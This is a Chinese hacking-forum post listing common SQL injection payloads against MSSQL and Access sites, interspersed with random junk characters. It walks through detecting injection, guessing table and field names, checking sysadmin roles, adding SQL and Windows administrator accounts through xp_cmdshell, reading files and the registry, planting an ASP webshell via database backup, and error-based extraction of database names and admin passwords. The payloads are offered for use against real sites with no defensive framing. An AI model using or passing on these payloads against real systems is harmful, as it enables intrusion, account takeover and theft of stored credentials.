找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1804|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1.判断是否有注入
1 K6 p' _% U' X: x8 f1 A5 };and 1=1 ! f( }' |& w4 C0 p
;and 1=2
& h8 _8 o& P8 \2 D
4 u. D$ n' j' g' O2.初步判断是否是mssql
2 u) ~" x4 g6 X# t;and user>0 7 o# W* i+ t7 V6 X: S( V  p
3 }% w" e1 t0 d6 @; k; g' V
3.判断数据库系统
% j2 q! h* ^. c7 f- A% U3 W;and (select count(*) from sysobjects)>0 mssql 1 Q6 ~. i& E4 _' y+ o
;and (select count(*) from msysobjects)>0 access
2 V5 K- e) B/ [  S8 N: C  q- |# U5 q" n: e
4.注入参数是字符
& Z1 ]( Z2 T$ H$ ^7 u'and [查询条件] and ''=' ) C8 }! o4 B3 {/ k- _

9 e+ R0 ?, l1 U4 W7 W. G/ r5.搜索时没过滤参数的
6 \1 O7 q# y# a2 r: c'and [查询条件] and '%25'='
" y4 c- t  ^$ I- e  j; G' l* B
0 t2 H3 V! F. ]' W9 a  l( x6.猜数表名 4 j  |- ^8 }- Q- ~! ]
;and (select Count(*) from [表名])>0
' S4 D7 t) [1 h8 V* o; S" w/ K/ U6 z; G! u
7.猜字段
& H  v# K( x/ H1 p2 D! A0 H;and (select Count(字段名) from 表名)>0 5 }3 M9 u  R# \7 v8 m
  d9 Q4 E/ ^4 _8 H5 i6 a' O- E
8.猜字段中记录长度 1 ^9 h* M* J1 V
;and (select top 1 len(字段名) from 表名)>0
5 Z% A. b" @. R' ^4 C5 u
' W) t. }' S) f9 f3 ^9.(1)猜字段的ascii值(access) 2 y- B9 |, P. E
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 1 P' s( }6 S! }+ F+ d" S0 ^+ Y, w

6 y# \0 y: x' b: E& \(2)猜字段的ascii值(mssql)   l; J* d% s% E3 l% A
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 0 d/ D' J8 ^: {  b6 z
' v9 s5 f4 E0 n4 Q, l
10.测试权限结构(mssql) : \. s# T" V" W  ^/ _
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 1 v5 M' N" l2 p; T. w" N( k
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 3 x# O4 M- ~4 g' r
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- % J: a, J2 P5 o# L/ n
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ' S8 H4 E% {) m( m
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- , d: u9 a8 h* w( |, I! \# f' y  y
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ' R  y; k& G! w6 w1 I
;and 1=(select IS_MEMBER('db_owner'));-- 0 t: |5 |) O3 ~# D

6 }+ _8 _: a% E6 `11.添加mssql和系统的帐户 ) s# g5 y' w  u1 y' s* t) z
;exec master.dbo.sp_addlogin username;--
$ f- ?& z5 w1 C3 k% L7 g  X;exec master.dbo.sp_password null,username,password;-- ! Q% G2 E  o/ r& r
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 6 k( f+ w4 d/ P0 |# l. [
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
: p# c6 v# [2 S# m% d$ T1 v0 _;exec master.dbo.xp_cmdshell 'net user username password /add';-- $ Z, i  D% n) c; |0 A
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0 w4 i0 b9 b5 z# E, U4 h: f6 q8 j( W
, b9 a& {/ Q) g
12.(1)遍历目录
7 ?4 U) |! o: B;create table dirs(paths varchar(100), id int) 4 q- P; d7 X. S/ A" e
;insert dirs exec master.dbo.xp_dirtree 'c:\'
% r+ G) n# x& m( D" q. a;and (select top 1 paths from dirs)>0 $ q' N# M: B% f
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
: N- s/ ^& L1 q6 R+ {( Y" _
8 k9 `4 H  K0 @, M(2)遍历目录
* \+ n+ `% S! j1 w;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
) z' g/ s$ l5 k7 I, k4 J;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7 L2 T- a  V* x3 a+ W6 H
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 / v; c0 B' U, |& B  D/ j# a
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
8 E/ M  S5 T# E0 z;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 # I1 a* ~4 j1 c( Q# d9 r9 Z7 N
  R# j0 l3 x+ ]4 J/ U0 {
13.mssql中的存储过程
; r4 A' A6 B$ hxp_regenumvalues 注册表根键, 子键
! `% h) q+ I- Y5 f  _7 t& L;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 # V0 o8 v& d+ @$ q  ?0 L9 U/ P; l! q8 O4 R
xp_regread 根键,子键,键值名 ( Y/ v  _3 _; Y
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
1 `0 a( i# q" [5 Y' b% f( Lxp_regwrite 根键,子键, 值名, 值类型, 值
6 I6 Y6 z" g4 P/ b值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 " g. c& }1 N" @2 s/ u' ^
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
0 m& W+ }* P4 t# k$ P& hxp_regdeletevalue 根键,子键,值名
' k. N- N. W! Iexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 $ b" B  z$ s( F* E8 u, N3 v' _
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
6 [, o8 N% A$ N& [4 B; v
7 c  ?1 W" L0 d: _$ q' Q) z9 z14.mssql的backup创建webshell + l* T* _! C3 K
use model   o0 z; \# D0 F' f8 \
create table cmd(str image);
5 D3 v: Q" E. x& ?7 E, D$ einsert into cmd(str) values ('<% Dim oScript %>');
& J- p, A3 c1 q) I- {  `backup database model to disk='c:\l.asp'; " }. B  K. X" R, _2 v' ^, H

# G, u9 ~) r. Y3 }' P' M, T15.mssql内置函数
4 S! `% b- g7 y  Z;and (select @@version)>0 获得Windows的版本号 " P  L( Z, z, b/ T* H1 D
;and user_name()='dbo' 判断当前系统的连接用户是不是sa " w" e1 r* }' A& H3 r8 m7 i8 n9 |$ W
;and (select user_name())>0 爆当前系统的连接用户 3 t! j* `4 v0 Z
;and (select db_name())>0 得到当前连接的数据库 $ ^* v  D$ J; a9 ^. n
  K- s: F+ c; _0 d
) c: L* p4 L5 S3 g2 q: q

5 B+ B3 K2 i* w# a' w% x: bMSSQL手注暴库
3 _. U  W& J; ~. H
1 v* S4 W( S4 o- ?1.暴出当前表名和列名2 o0 e* k+ _- K! s# |8 B, [& v: d; [
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。; O# ~4 O* |6 k6 e/ u9 z
8 Q0 {! B# X# t+ y, d
第一.爆出所有数据库名( r  Y5 E, M4 {) G3 \0 V$ d
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。, R% v  E/ P/ N3 I: i  Q) \" r7 L" l
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。* q3 T# {: E- b1 b- B

# N4 ?* r. x/ H: y, ~7 W2 D& _and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名' N* R5 J, n9 S# ~$ q

% T  X, ^0 a; w! }
" ?' b2 K. o8 b/ B, w* A3 F' B第二.爆出指定库中的所有表名) ~9 H  e4 V3 [0 v5 J
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。, i9 i  q8 m8 ?* Y0 f* e% u
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
% |3 Y1 c9 \4 F1 s) T
5 ?# _/ l9 f6 ~) S$ V) u3 o4 Qand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
/ L' `' z, V4 s' z# s& K7 hand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--9 c9 G8 C! s" m
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--; t  }' V. E- b4 P4 |3 J
$ E2 o* \, I4 ]; u1 K7 V" u
4.爆出指定表中的所有列名
# g0 o0 E, b) }" x8 i' B! vand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
# x# P6 L& T8 Q; {. g, a//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'" ?" r, h4 G- b- l6 O4 {! u
3 c% |4 \9 i4 c  |
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名$ i! m8 i, }" O: e0 w* F

! I: ^3 P/ B2 {. W6 g$ N2 m& ~再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- " r" ]4 q/ ?4 F
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。) U' _* K2 b9 K8 @$ W

, Y0 m7 `2 a4 [4 i$ l- }" ^; H9 M* p
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
) Y- l9 \2 N* d- \7 m5 |( G/ X' B2 H7 T! T' l) Y
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
" T. G0 R- `5 |% _3 s& t7 ?+ ?; |, Z
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ' L0 I. m0 _& d4 `. q& p
6 |8 H' }7 u% ~+ Y0 a

% k+ M3 _  l" p- T# @7 @+ h$ l! n! V' i/ c6 f) u0 B& F
5.读取指定表中的数据
4 u$ d% u5 y! W: I, C* s# T  R" w# X( x( i. j% `9 r2 V! d
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 $ |9 I! D* {% s; b' r; x2 U

, l; j3 v  k2 P4 B5 r* y7 Band 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--6 Z" ~3 L& J: R" G
4 m9 E  i) c7 x% L& q6 [8 o) `
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码4 v# ?/ L3 n; r9 J+ D8 M
3 ?; @4 D3 E' y! Y0 L! v' y( L  F; p

3 J# A+ }5 @, `and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
4 h- J! P: _0 I3 s) q" Q/ X0 A1 w7 [9 x" @1 g
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
( r$ D6 l* S6 }- ?
) j( m: _+ X7 v8 ]- e$ @- A0 land 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
. ?) R& d( x$ z0 G5 O4 \  T+ n
/ m: ^4 o( e" Q. m* W5 {知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。+ c' `" D% U$ p/ q6 q) U- r5 Y3 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表